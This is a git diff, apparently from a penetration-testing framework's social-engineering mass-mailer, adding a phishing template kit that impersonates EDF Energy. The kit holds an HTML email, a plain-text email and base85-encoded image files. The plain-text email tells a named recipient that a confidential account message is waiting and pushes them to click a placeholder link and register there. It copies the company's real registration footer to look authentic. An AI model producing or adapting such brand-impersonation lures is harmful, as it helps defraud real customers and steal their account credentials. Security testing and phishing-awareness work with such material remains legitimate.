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 Y0RKlVx|w8LqW}N^07*qoM6N<$f(eBJ(f|Me literal 0 HcmV?d00001 diff --git a/extensions/social_engineering/mass_mailer/templates/edfenergy/mail.html b/extensions/social_engineering/mass_mailer/templates/edfenergy/mail.html new file mode 100644 index 000000000..1b93c888f --- /dev/null +++ b/extensions/social_engineering/mass_mailer/templates/edfenergy/mail.html @@ -0,0 +1,54 @@ + + + + +

+ + + +
+ + + + + + + + + + + +
+ + + Cityscape
+ EDFEnergy +

+ Important information regarding your account


+

+Dear __name__

You have an important message regarding your EDF Energy account.

+

As this message contains confidential information you must + click here to view the message.

+

In order to read your messages you must be registered to MyAccount which you can do using the same link.

+
+ + + +
+ + Continue to MyMessages +
+ +
+ London 2012
+   + +
+ +
+

+ EDF Energy is a trading name used by EDF Energy Customers plc. Reg. No 02228297 whose registered office is at 40 Grosvenor Place, London, SW1X 7EN, +incorporated in England and Wales. EDF Energy Customers plc. is a wholly owned subsidiary of EDF Energy plc. + The responsibility for performance of the supply obligations for all EDF Energy supply contracts rests with EDF Energy Customers plc. +

The official Emblems of the London Organising Committee of the Olympic Games
and Paralympic Games Ltd are 2007 LOCOG. All rights reserved.

\ No newline at end of file diff --git a/extensions/social_engineering/mass_mailer/templates/edfenergy/mail.plain b/extensions/social_engineering/mass_mailer/templates/edfenergy/mail.plain new file mode 100644 index 000000000..51a03989c --- /dev/null +++ b/extensions/social_engineering/mass_mailer/templates/edfenergy/mail.plain @@ -0,0 +1,19 @@ +Important information regarding your account + +Dear __name__ + +You have an important message regarding your EDF Energy account. + +As this message contains confidential information you must click here to view the message: +__link__ + +In order to read your messages you must be registered to MyAccount which you can do using the same link: +__link__ + +EDF Energy is a trading name used by EDF Energy Customers plc. Reg. No 02228297 whose registered office +is at 40 Grosvenor Place, London, SW1X 7EN, incorporated in England and Wales. EDF Energy Customers plc. +is a wholly owned subsidiary of EDF Energy plc. The responsibility for performance of the supply obligations +for all EDF Energy supply contracts rests with EDF Energy Customers plc. + +The official Emblems of the London Organising Committee of the Olympic Games +and Paralympic Games Ltd are © 2007 LOCOG. All rights reserved. \ No newline at end of file diff --git a/extensions/social_engineering/mass_mailer/templates/edfenergy/main.png b/extensions/social_engineering/mass_mailer/templates/edfenergy/main.png new file mode 100644 index 0000000000000000000000000000000000000000..19a99bee71f2dfb9ff24800d3e0646c6207d3418 GIT binary patch literal 56684 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 